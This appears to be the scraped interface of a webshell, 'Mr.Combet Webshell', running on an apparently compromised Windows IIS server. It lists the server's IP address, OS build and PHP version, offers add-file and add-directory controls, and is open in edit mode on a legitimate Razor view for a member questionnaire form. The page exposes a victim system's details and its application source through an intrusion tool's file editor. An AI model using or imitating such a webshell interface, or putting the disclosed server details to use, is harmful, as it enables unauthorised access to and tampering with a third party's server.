Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
GALSGroup
/
Edit File Name :
Create.cshtml
@model RER_Project.DataAccess.ViewModels.Gals.GalsViewModel @{ ViewBag.Title = "Create GALS"; int count = 1; } <div class="row wrapper border-bottom white-bg page-heading"> <strong><span style="font-size:medium"> Fill GALS Form of @Model.MemberDetailView.FirstName @Model.MemberDetailView.LastName</span></strong><br /> <br /> <div class="col-md-10"> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Group Name: <strong>@Model.MemberDetailView.GroupName</strong> </span> <span style="font-size: 100%;"> Commodity: <strong>@Model.MemberDetailView.CommodityName</strong> </span> </div> </div> <div class="row"> <div class="col-lg-12"> <br /> <span style="font-size: 100%;"> Province: <strong>@Model.MemberDetailView.Province</strong> </span> <span style="font-size: 100%;"> District: <strong>@Model.MemberDetailView.District</strong> </span> <span style="font-size: 100%;"> Municipality: <strong>@Model.MemberDetailView.Municipality</strong> </span> <span style="font-size: 100%;"> Ward: <strong>@Model.MemberDetailView.WardNo</strong> </span> </div> </div> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <form id="CreateForm"> <div id="eror_msg"></div> <div class="row"> <div class="col-lg-4"> <div class="form-group"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control required" name="FiscalYear" id="FiscalYear" data-api="/fiscal_year_unlocked/select"></select> </div> </div> </div> <div class="row"> @for (var i = 0; i < Model.GalsQuestions.Count; i++) { <div class="row radio_btn_@count"> <div class="form-group col-md-6"> <label style="font-size: initial"> <strong> @(count++)</strong>. </label> <label style="font-size: initial"><strong> @Model.GalsQuestions[i].Question</strong> </label> </div> <div class="form-group col-md-6 " onchange="changeRadioBtn(event)"> @foreach (var item in Model.GalsAnswers.Where(x => x.GalsQuestionId == Model.GalsQuestions[i].Id)) { <input style="cursor: pointer;" type="radio" name="@item.GalsQuestionId" value="@item.Id"> <input type="hidden" name="@item.Id" value="@item.Points" /> <label style="font-size: initial"> @item.Answers </label> <br /> } </div> </div> <hr class=" radio_btn_@count" /> } </div> <div class="row"> <div class="form-group col-md-2 pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> <a href="/gals?memberId=@Model.MemberDetailView.Id" class="btn btn-default">Back</a> </div> </div> </form> </div> </div> </div> </div> </div> <script> $(document).ready(function () { window.initializeSelectApis(); $('.radio_btn_13').hide(); var questions = @Html.Raw(Json.Encode(Model.GalsQuestions)); $.each(questions, function (index, item) { $("input:radio[name='" + item.Id + "']:first").attr('checked', true); }) }); $("#SubmitButton").off("click").on("click", function () { debugger; function check() { var datas = { memberId:@Model.MemberDetailView.Id, fiscalyear: $("#FiscalYear").val() }; const url = "/gals_questions_answers/get"; const data = JSON.stringify(datas); return window.getAjaxRequest(url, "POST", data); } function request(model) { const url = "/gals_questions_answers/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; function getModel() { return ({ GalsQuestionsAnswers: getQuestionAnswer() }); } WorkForce.loader.show(); function getQuestionAnswer() { var QuestionAnswer = []; debugger; var questions = @Html.Raw(Json.Encode(Model.GalsQuestions)); $.each(questions, function (index,item) { var questionId = item.Id; var answerId = $("input[name='" + questionId + "']:checked").val(); var points = $("input[name='" + answerId + "']").val(); QuestionAnswer.push({ GalsQuestionId: questionId, GalsAnswerId: answerId, Points: points, MemberId: @Model.MemberDetailView.Id, GroupId: @Model.MemberDetailView.GroupId, DistrictId:@Model.MemberDetailView.DistrictId, FiscalYear:$("#FiscalYear").val() }); }); return QuestionAnswer; } const checkrequest = check(); checkrequest.done(function (result) { if (result.value.length == 0) { const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/gals?memberId=@Model.MemberDetailView.Id"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } else { WorkForce.loader.hide(); ShowMessage("error", "Data already present for this fiscal year"); return false; } }); }); function changeRadioBtn(event) { var selectedValue = event.target.value; console.log(selectedValue) if (selectedValue == 36) { $('.radio_btn_12').hide(); $('.radio_btn_13').hide(); } else if (selectedValue == 35) { $('.radio_btn_12').hide(); $('.radio_btn_13').show(); } else if (selectedValue == 34) { $('.radio_btn_12').show(); $('.radio_btn_13').hide(); } } </script>
Save